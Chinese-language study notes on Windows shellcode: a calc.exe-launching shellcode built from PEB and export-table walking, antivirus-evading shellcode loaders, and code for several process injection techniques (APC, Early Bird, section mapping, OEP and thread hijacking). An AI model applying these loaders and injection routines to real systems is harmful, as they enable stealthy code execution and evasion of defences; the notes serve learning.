---
# System prepended metadata

title: 台灣好厲駭筆記 2nd - Windows Shellcode
tags: [zeze]

---

台灣好厲駭筆記 2nd - Windows Shellcode
===
[TOC]
###### tags: `zeze`
# Example Shellcode
* 作業系統: Windows10
* 32-bit shellcode
* 目標: 利用 WinExec 執行 calc.exe
* [主要 Reference](https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html#resources)
* [Windows shellcode](https://zh-hant.hotbak.net/key/Windowsx86%E8%88%87x64Shellcode%E6%8A%80%E8%A1%93%E7%A0%94%E7%A9%B6%E5%AE%89%E5%85%A8%E5%AE%A2%E5%AE%89%E5%85%A8%E8%B3%87%E8%A8%8A.html)
* [中文的 PE 結構解釋](https://ithelp.ithome.com.tw/articles/10187582)

## 簡介
由於 Windows 不像 Linux 一樣可以直接使用 system call，而是要使用 Windows API，然後 Windows API 再去 call 那些 Native API。Native API 實作在 ntdll.dll，沒有公開的官方文件，所以還是得靠實作在 kernel32.dll, advapi32.dll, gdi32.dll 的有公開官方文件的 Windows API。

## 找到 kernel32.dll 的位置
### 先備知識
* [TEB \(Thread Environment Block\)](https://zh.wikipedia.org/wiki/%E7%BA%BF%E7%A8%8B%E4%BF%A1%E6%81%AF%E5%9D%97): 每個 thread 都會有個不同的 TEB，存放 thread 的資訊在 memory 中。TEB 的位址會存在 FS。
* [PEB \(Process Environment Block)](https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb): 這是在 TEB 中的 offset 0x30 的一個 field，存放 process 的資訊。
* [PEB_LDR_DATA](https://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html): PEB 中的 offset 0xC 的一個結構。其中有兩個結構分別是 PEB_LDR_DATA offset 0x14 的 **InMemoryOrderModuleList**。另一個是 PEB_LDR_DATA offset 0x18 的 **InInitializationOrderModuleList**。
* InMemoryOrderModuleList: 是個照著 memory 排序 dll 的 linked list，且前兩個一定是 ntdll.dll 和 kernel32.dll 的 entry。
* InInitializationOrderModuleList: 是個照著 initialization 順序排 dll 的 linked list，在 Windows Vista 以前的版本前兩個 dll 一定是 ntdll.dll 和 kernel32.dll 的 entry，在 Windows Vista 後則是 ntdll.dll 和 kernelbase.dll 的 entry。
* dll entry: dll 的 base address 存在 dll entry 的 offset 0x10

### 應用
1. 因為 TEB 的位址存在 fs，所以可以透過 fs:0x30 取得 PEB 的位址
2. 透過 PEB + 0xC 取得 PEB_LDR_DATA 的位址
3. 透過 PEB_LDR_DATA + 0x14 取得 InMemoryOrderModuleList 的位址
4. 取得 linked list 的 InMemoryOrderModuleList 下一個位址，指向 ntdll.dll entry
5. 透過指向 ntdll.dll entry 的下一個 linked list 位址取得 kernel32.dll dll entry
6. 透過 dll entry + 0x10 取得 kernel32.dll 的 base address
```
mov ebx, fs:0x30	; Get pointer to PEB
mov ebx, [ebx + 0x0C] ; Get pointer to PEB_LDR_DATA
mov ebx, [ebx + 0x14] ; Get pointer to first entry in InMemoryOrderModuleList
mov ebx, [ebx]		; Get pointer to second (ntdll.dll) entry in InMemoryOrderModuleList
mov ebx, [ebx]		; Get pointer to third (kernel32.dll) entry in InMemoryOrderModuleList
mov ebx, [ebx + 0x10] ; Get kernel32.dll base address
```
![](https://i.imgur.com/hnN9ljq.png)
* 驗證工具: [winrepl](https://github.com/zerosum0x0/WinREPL/releases/)

## 找到 WinExec
* [流程影片](https://idafchev.github.io/images/windows_shellcode/locate_function2.gif)
### 先備知識
* RVA(Relative Virtual Address): image base 的相對位址，不等於 file offset，因為程式在 disk 上各部分都會被拆開分配在不同地方，base 也會不同
* 各種相對位址:
    * RVA 0x3C 是 PE signature 的 RVA
    * PE signature 後第 0x78 bytes 是 Export Table 的 RVA
    * Export Table 後第 0x14 bytes 是 DLL export 的 function 數量
    * Export Table 後第 0x1C bytes 是存放 function address 的 Address Table 的 RVA
    * Export Table 後第 0x20 bytes 是存放 function name 的 Name Pointer Table 的 RVA
    * Export Table 後第 0x24 bytes 是存放 function position(因為在 import function 時是使用 symbol，為了找到對應的 function address，所以使用 function position) 的 Ordinal Table 的 RVA

### 應用
1. base address + 0x3C = PE signature 的 RVA
2. base address + PE signature 的 RVA = **PE signature** 的位址
3. PE signature 的位址 + 0x78 = Export Table 的 RVA
4. base address + Export Table 的 RVA = **Export Table** 的位址
5. Export Table 的位址 + 0x14 = **Export Function** 的數量
6. Export Table 的位址 + 0x1C = Address Table 的 RVA
7. base address + Address Table 的 RVA = **Address Table** 的位址
8. Export Table 的位址 + 0x20 = Name Pointer Table 的 RVA
9. base address + Name Pointer Table 的 RVA = **Name Pointer Table** 的位址
10. Export Table 的位址 + 0x24 = Ordinal Table 的 RVA
11. base address + Ordinal Table 的 RVA = **Ordinal Table** 的位址
12. 迴圈從 Name Pointer Table 找到 WinExec，並計算 WinExec 是第幾個 function (position)
13. Ordinal Table + position * 2 = WinExec 在 Ordinal Table 的 ordinal_number
14. Address Table + ordinal_number * 4 = WinExec 的 RVA
15. base address + WinExec 的 RVA = WinExec 的位址

```
; Establish a new stack frame
push ebp
mov ebp, esp

sub esp, 18h 			; Allocate memory on stack for local variables

; push the function name on the stack
xor esi, esi
push esi			; null termination
push 63h
pushw 6578h
push 456e6957h
mov [ebp-4], esp 		; var4 = "WinExec\x00"

; Find kernel32.dll base address
mov ebx, fs:0x30
mov ebx, [ebx + 0x0C] 
mov ebx, [ebx + 0x14] 
mov ebx, [ebx]	
mov ebx, [ebx]	
mov ebx, [ebx + 0x10]		; ebx holds kernel32.dll base address
mov [ebp-8], ebx 		; var8 = kernel32.dll base address

; Find WinExec address
mov eax, [ebx + 3Ch]		; RVA of PE signature
add eax, ebx       		; Address of PE signature = base address + RVA of PE signature
mov eax, [eax + 78h]		; RVA of Export Table
add eax, ebx 			; Address of Export Table

mov ecx, [eax + 24h]		; RVA of Ordinal Table
add ecx, ebx 			; Address of Ordinal Table
mov [ebp-0Ch], ecx 		; var12 = Address of Ordinal Table

mov edi, [eax + 20h] 		; RVA of Name Pointer Table
add edi, ebx 			; Address of Name Pointer Table
mov [ebp-10h], edi 		; var16 = Address of Name Pointer Table

mov edx, [eax + 1Ch] 		; RVA of Address Table
add edx, ebx 			; Address of Address Table
mov [ebp-14h], edx 		; var20 = Address of Address Table

mov edx, [eax + 14h] 		; Number of exported functions

xor eax, eax 			; counter = 0

.loop:
        mov edi, [ebp-10h] 	; edi = var16 = Address of Name Pointer Table
        mov esi, [ebp-4] 	; esi = var4 = "WinExec\x00"
        xor ecx, ecx

        cld  			; set DF=0 => process strings from left to right
        mov edi, [edi + eax*4]	; Entries in Name Pointer Table are 4 bytes long
        			; edi = RVA Nth entry = Address of Name Table * 4
        add edi, ebx       	; edi = address of string = base address + RVA Nth entry
        add cx, 8 		; Length of strings to compare (len('WinExec') = 8)
        repe cmpsb        	; Compare the first 8 bytes of strings in 
        			; esi and edi registers. ZF=1 if equal, ZF=0 if not
        jz start.found

        inc eax 		; counter++
        cmp eax, edx    	; check if last function is reached
        jb start.loop 		; if not the last -> loop

        add esp, 26h      		
        jmp start.end 		; if function is not found, jump to end

.found:
	; the counter (eax) now holds the position of WinExec

        mov ecx, [ebp-0Ch]	; ecx = var12 = Address of Ordinal Table
        mov edx, [ebp-14h]  	; edx = var20 = Address of Address Table

        mov ax, [ecx + eax*2] 	; ax = ordinal number = var12 + (counter * 2)
        mov eax, [edx + eax*4] 	; eax = RVA of function = var20 + (ordinal * 4)
        add eax, ebx 		; eax = address of WinExec = 
        			; = kernel32.dll base address + RVA of WinExec

.end:
	add esp, 26h		; clear the stack
	pop ebp
	ret
```



## 實作
* Project => Property => C/C++ => Command Line => /GS-
* Project => Property => Linker => Command Line => /NXCOMPAT:NO

```clike=
#include <stdio.h>

unsigned char sc[] = 	"\x50\x53\x51\x52\x56\x57\x55\x89"
			"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
			"\x63\x66\x68\x78\x65\x68\x57\x69"
			"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
			"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
			"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
			"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
			"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
			"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
			"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
			"\x50\x1c\x01\xda\x89\x55\xec\x8b"
			"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
			"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
			"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
			"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
			"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
			"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
			"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
			"\x31\xd2\x52\x68\x2e\x65\x78\x65"
			"\x68\x63\x61\x6c\x63\x68\x6d\x33"
			"\x32\x5c\x68\x79\x73\x74\x65\x68"
			"\x77\x73\x5c\x53\x68\x69\x6e\x64"
			"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
			"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
			"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";

int main()
{
	((void(*)())sc)();
	return 0;
}
```

# Shellcode Loader
* [主軸 Reference](https://paper.seebug.org/1413/)
* [Git Repo](https://github.com/knownsec/shellcodeloader)

## 簡介
直接寫 shellcode 容易被防毒軟體擋掉，所以需要 loader 用各種加載方式躲避防毒。主要做三件事:
1. 載入 shellcode
2. shellcode 加解密
3. 執行 shellcode

## 1. 載入 shellcode
寫死在程式裡面沒有彈性，因此用動態載入的方式。
* 增加 resource
```c=
BeginUpdateResource(filepath, FALSE);
// resourceID 用什麼，等等使用時就要用那個 ID
UpdateResource(hResource, RT_RCDATA, MAKEINTRESOURCE(resourceID), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPVOID)shellcode, shellcodeSize);
EndUpdateResource(hResource, FALSE);
```
* 使用 resource
```c=
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(resourceID), RT_RCDATA);
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
LPVOID pBuffer = LockResource(hGlobal);
```

## 2. shellcode 加解密
任何加解密方式都可以，主要是為了防止被防毒軟體偵測到，這個 repo 是用 xor

## 3. 執行 shellcode
### CreateThreadpoolWait 加载
#### 原始功能
**CreateEvent\(\)** 可以建立一個事件，開發者可以藉由看這個事件是否 Signaled 來防止 memory conflict\(多個 thread 同時寫入同個記憶體導致錯誤\)
**CreateThreadpoolWait\(\)** 可以設置 callback function，在 **SetThreadpoolWait\(\)** 能把可等待物件和 ThreadpoolWait 綁在一起

#### loader 應用
```c=
// 第三個參數要是初始狀態，TRUE 代表 signaled，不然後面 WaitForSingleObject 會卡在那
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
// 把 callback function 設為 shellcode
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)Shellcode, NULL, NULL);
// 把 threadPoolWait 和 event 綁定，當 event singled 時，就會呼叫 callback function
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
```

### Fiber 加載
#### 原始功能
* [Reference](https://stackoverflow.com/questions/796217/what-is-the-difference-between-a-thread-and-a-fiber)
Fiber 可以看作是一種比較輕便的 thread。
    * Fiber: 
        * light-weight
        * cooperative thread
        * managed in user space(所以不用 context switch，速度快)
        * start and stop in well-defined place(所以不用擔心 conflict)
    * thread
        * preemptive thread
        * may stop in the middle of updating data
        * can take advantage of multiple CPU

#### loader 應用
```c=
// 如果要換 fiber，就要先 ConvertThreadToFiber()，不然無法 SwitchToFiber()
PVOID mainFiber = ConvertThreadToFiber(NULL);
// 建立一個指向 shellcode 的 fiber
PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)Shellcode, NULL);
// 換到 shellcode fiber
SwitchToFiber(shellcodeFiber);
DeleteFiber(shellcodeFiber);
```

### NtTestAlert 加載
* [Reference](https://idiotc4t.com/code-and-dll-process-injection/apc-and-nttestalert-code-execute)
因為沒有使用到 CreateThread, CreateRemoteThread 等防毒軟體嚴格監控的 API 就執行 shellcode，所以較容易繞過防毒軟體。
**NtTestAlert()** 執行時，會 call KiUserApcDispatcher 執行 APC

#### 原始功能
* [Reference](https://blog.csdn.net/qq_38493448/article/details/104006686)
每個 thread 都有一列 APC(Asynchronous Procedure Call)，當 thread 甦醒時會按照 FIFO 順序執行 APC。
例如在發送 I/O request 給設備時，thread 理論上會繼續執行，直到需要得到返回結果時。這時 I/O 設備會插入 APC 告訴 thread 已經得到結果了。

#### loader 應用
```c=
// 沒有現成的 API 可用，要自己載入 NtTestAlert
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
// 把 shellcode 裝進 APC
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)Shellcode;
// 將 APC 插入現在的 thread
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
// 使用時會直接執行所有 APC
NtTestAlert();
```

### SEH 異常加載
#### 原始功能
* [SEH 簡介 Reference](https://docs.microsoft.com/zh-tw/cpp/cpp/structured-exception-handling-c-cpp?view=msvc-160)
SEH(Structured Exception Handling)
```c=
// try-except-statement :
__try compound-statement __except ( expression ) compound-statement
// try-finally-statement :
__try compound-statement __finally compound-statement
```

* [SEH anti-debug Reference](https://guidedhacking.com/threads/antidebug-seh-structured-exception-handling-and-trap-flag.14420/)
它也常被用來做 anti-debug，因為 debugger 會自動處理一些為了 debug 而造成的 exception。例如 debugger 會設置 trap flag 來讓程式一行一行執行，而 debugger 也會處理由設置 trap flag 導致的 exception，所以可以利用這點，在程式中故意設置 trap flag 來看是否有造成 exception。

#### loader 應用
```c=
int* p = 0x00000000;
_try
{
    *p = 13;
}
_except(ShellcodeExecute()) 
{
};
```

### TLS 加载(只支援 32 bit)
#### 原始功能
TLS(Thread Local Storage) 是一個可以弄出儲存特定 thread 資料的方法。它也提供了 callback function 給開發者使用。callback function 在 thread 初始化和終止時都會用，也就是說在 OEP(Original Entry Point) 之前使用，因此可以拿來實作 anti-debug

#### loader 應用
* [另一個 Git Repo](https://gist.github.com/dennisfischer/525003173637929adeea)
```c=
// 前面還要載入一些東西才能用 tls callback.....

// callback function 會在 WinMain 之前執行
void NTAPI __stdcall TLSCallbacks(PVOID DllHandle, DWORD dwReason, PVOID Reserved)
{
	((void(*)())Shellcode)();
	ExitProcess(0);
}
```

### 動態加載 1
需要用到的函數都用 **GetProcAddress** 動態載入
```c=
HMODULE hkmodule = GetModuleHandle(L"kernel32.dll");
pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(hkmodule, "VirtualAlloc");
pfnFindResourceW fnFindResourceW=(pfnFindResourceW)GetProcAddress(hkmodule, "FindResourceW");
pfnSizeofResource fnSizeofResource=(pfnSizeofResource)GetProcAddress(hkmodule, "SizeofResource");
pfnLoadResource fnLoadResource=(pfnLoadResource)GetProcAddress(hkmodule, "LoadResource");
pfnLockResource fnLockResource=(pfnLockResource)GetProcAddress(hkmodule, "LockResource");
```

### 動態加載 2 (只支援 32 bit)
像是寫 shellcode 那樣從 kernel32.dll 取出各個 function
```c=
ULONGLONG GetKernelFunc(char *funname)
{
    // 取出 kernel32.dll 的 base address
    ULONGLONG kernel32moudle = GetKernel32Moudle();
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)kernel32moudle;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(kernel32moudle + pDos->e_lfanew);
    PIMAGE_DATA_DIRECTORY pExportDir = pNt->OptionalHeader.DataDirectory;
    pExportDir = &(pExportDir[IMAGE_DIRECTORY_ENTRY_EXPORT]);
    DWORD dwOffest = pExportDir->VirtualAddress;
    
    // 用 Export Table 的位址拿到 function 數量、function address list、function name list
    PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(kernel32moudle + dwOffest);
    DWORD dwFunCount = pExport->NumberOfFunctions;
    DWORD dwFunNameCount = pExport->NumberOfNames;
    DWORD dwModOffest = pExport->Name;
    PDWORD pEAT = (PDWORD)(kernel32moudle + pExport->AddressOfFunctions);
    PDWORD pENT = (PDWORD)(kernel32moudle + pExport->AddressOfNames);
    PWORD pEIT = (PWORD)(kernel32moudle + pExport->AddressOfNameOrdinals);
    
    // 迴圈找目標 function
    for (DWORD dwOrdinal = 0; dwOrdinal<dwFunCount; dwOrdinal++)
    {
        if (!pEAT[dwOrdinal])
        {
            continue;
        }
        DWORD dwID = pExport->Base + dwOrdinal;
        DWORD dwFunAddrOffest = pEAT[dwOrdinal];
        for (DWORD dwIndex = 0; dwIndex<dwFunNameCount; dwIndex++)
        {
            if (pEIT[dwIndex] == dwOrdinal)
            {
                DWORD dwNameOffest = pENT[dwIndex];
                char* pFunName = (char*)((DWORD)kernel32moudle + dwNameOffest);
                if (!strcmp(pFunName, funname))
                {
                    return kernel32moudle + dwFunAddrOffest;
                }
            }
        }
    }
    return 0;
}
```

### system call 加載 (只支援 64 bit)
* [System Call Symbol 對應 syscall number](https://j00ru.vexillium.org/syscalls/nt/64/)
* [完整 source code (重點太長了所以直接放網址)](https://github.com/knownsec/shellcodeloader/blob/master/plug/Syscall%20Load/Syscall.cpp)

沒有用到任何 API 的取出 NtAllocateVirtualMemory，動態的從 ntdll.dll 取出 syscall address，並確認 runtime function 有沒有這個 syscall，有則調用 NtAllocateVirtualMemory。
:::warning
我自己感覺跟 kernel32.dll 的取出流程大同小異(?)
:::

---
以上是加載類別
以下是注入類別，有些跟 [Eric 之前講的注入技巧](https://hackmd.io/@bKM7OuRBQqmXcFRuw92pRQ/rkSRnDRPw)重複
基本上注入類別跟加載類別的差別就在於目標 process 一個是別人，一個是自己

---

### APC 注入
* [APC injection Reference](https://www.write-bug.com/article/2031.html)
跟 NtTestAlert 加載一樣是使用 APC 的機制，不過這邊是強調可以透過 QueueUserApc 將 shellcode 注入到目標 process 的某個 thread。這技術也可以用於 dll injection
SleepEx、WaitForSingleObjectEx、WaitForMultipleOBjectsEx、SingalObjectAndWait、GetQueuedCompletionStatusEx、MsgWaitForMultipleObjectsEx 等函數可以讓 thread 進入 alertable 的狀態，進而執行 APC
:::warning
這邊 call 上面那六個 function 是會讓目前的 thread 進入 alertable 的狀態吧，那執行的 APC 應該也是目前 thread 的 APC 阿，跟注入的 process 的 thread 有什麼關係?
:::

```clike=
// 把 explorer.exe 的 process 找出來
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
if (Process32First(snapshot, &processEntry))
{
    while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0)
    {
        Process32Next(snapshot, &processEntry);
    }
}

// 在目標 process 將 shellcode 寫入其中一塊記憶體
HANDLE victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, shellcode, shellcodeSize, NULL);

// 迴圈將 APC 注入到目標 process 的所有 thread
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
if (Thread32First(snapshot, &threadEntry))
{
    do {
        if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID)
        {
            threadIds.push_back(threadEntry.th32ThreadID);
        }
    } while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds)
{
    HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
    QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
    Sleep(1000 * 2);
}
```

### Early Bird APC 注入
* [Reference](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection)
#### 原始功能
CreateProcess 的第六個參數是 [creation flags](https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags)，其中 suspended state 代表這個 process 的 primary thread 不會馬上執行，直到 ResumeThread() 後才會執行

#### loader 應用
```clike=
SIZE_T shellSize = totalSize - sizeof(CONFIG);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };

// 建立一個 suspended 的 process
CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;

// 在目標 process 分配一塊記憶體並塞進 shellcode，建立一個 APC Routine 指向這塊記憶體
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buffer, shellSize, NULL);
delete[] buffer;

// 將 APC Routine 注入到目標 process 的 thread，然後 ResumeThread 觸發 shellcode
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
```

### NtCreateSection 注入
#### 原始功能
* [Reference](https://blog.xuite.net/tzeng015/twblog/113273116)
Section 是 process 之間的共享記憶體，而 Critical Section 是指這塊記憶體同時只能由一個 process 操作。需要使用 LeaveCriticalSection 釋放掉
有相同的概念的是 mutex(Mutual Exclusion)，同樣是一個同步機制。
兩者的差別在於 mutex 會有 handle，而 secion 沒有，所以 WaitforMultipleObjects 只適用於 mutex

**NtCreateSection**, **NtMapViewOfSection**, **RtlCreateUserThread** 是在 ntdll 中 undocument 的 API，所以叫使用要動態載入

#### loader 應用
```clike=
// 建立一個 section
SIZE_T size = shellcodeSize;
LARGE_INTEGER sectionSize = { size };
HANDLE sectionHandle = NULL;
PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

// 讓這個 section 在目前執行的 process 開始使用，也就是 localSectionAddress
fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);

// 迴圈尋找目標 process
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
if (Process32First(snapshot, &processEntry))
{
    while (_wcsicmp(processEntry.szExeFile, L"notepad.exe") != 0)
    {
        Process32Next(snapshot, &processEntry);
    }
}

// 打開目標 process，並讓目標 process 也開始使用同個 secion
DWORD targetPID = processEntry.th32ProcessID;
HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, targetPID);
fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);

// 在目前的 process 將 shellcode 寫入這個 section
memcpy(localSectionAddress, shellcode, shellcodeSize);
delete[] buffer;
HANDLE targetThreadHandle = NULL;

// 在目標 process 建立一個 thread，第七個參數是放開始執行的位址，也就是這個 section
fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);
```

### OEP Hijack 注入
OEP(Original Entry Point) 是 PE 的入口點。概念就是在目標 process 的 OEP 塞入 shellcode 

* [PEB 結構](https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb)
* [DOS Header 結構](https://www.itread01.com/content/1547982395.html)
* [NTHeader 結構](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_nt_headers32)
* [Optional Header 結構](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32)

1. 取得 PEB 位址
2. PEB + 16 = image base pointer
3. 從 image base 開始讀 4096 bytes = Headers (放各種不同的 header)
4. Headers 的一開始就是 DOS Header
5. Headers + DOS Header->e_lfanew = NTHeader
6. image base + NTHeader->OptionalHeader.AddressOfEntryPoint = OEP

```clike=
// 開啟一個 suspended 的 process
DWORD returnLength = 0;
CreateProcessA(0, (LPSTR)"c:\\windows\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);

// 取得目標 process 的 image PEB address，並透過 PEB address + 16 取得 image base pointer
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
LONGLONG imageBaseOffset = (LONGLONG)pbi.PebBaseAddress + 16;

// 取得 image base
LPVOID imageBase = 0;
ReadProcessMemory(pi.hProcess, (LPCVOID)imageBaseOffset, &imageBase, 8, NULL);

// 取得目標 process 的 image headers
BYTE headersBuffer[4096] = {};
ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);

// 從 image headers 算出 OEP 的位址
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew);
LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (LONGLONG)imageBase);

// 將 shellcode 寫入目標 process 的 OEP
WriteProcessMemory(pi.hProcess, codeEntry, shellcode, shellcodeSize, NULL);
ResumeThread(pi.hThread);
```

### Thread Hiijack 注入
概念就是改變一個 process 的 instruction pointer，讓它跳到 shellcode 上

```clike=
// 開啟一個 process
DWORD targetPID = processEntry.th32ProcessID;
context.ContextFlags = CONTEXT_FULL;
threadEntry.dwSize = sizeof(THREADENTRY32);
targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);

// 在目標 process 分配一塊記憶體，並將 shellcode 寫進去
remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, shellcodeSize, NULL);
Thread32First(snapshot, &threadEntry);

// 迴圈所有 process，將其中的 thread 取出來
while (Thread32Next(snapshot, &threadEntry))
{
    if (threadEntry.th32OwnerProcessID == targetPID)
    {
        threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
        break;
    }
}

// 將目標 thread 的狀態改為 suspended 後改變它的 instruction pointer，最後 ResumeThread
SuspendThread(threadHijacked);
GetThreadContext(threadHijacked, &context);
#ifdef _M_X64
	context.Rip = (DWORD_PTR)remoteBuffer;
#else
	context.Eip = (DWORD_PTR)remoteBuffer;
#endif // x64
	SetThreadContext(threadHijacked, &context);
	ResumeThread(threadHijacked);
	return 0;
```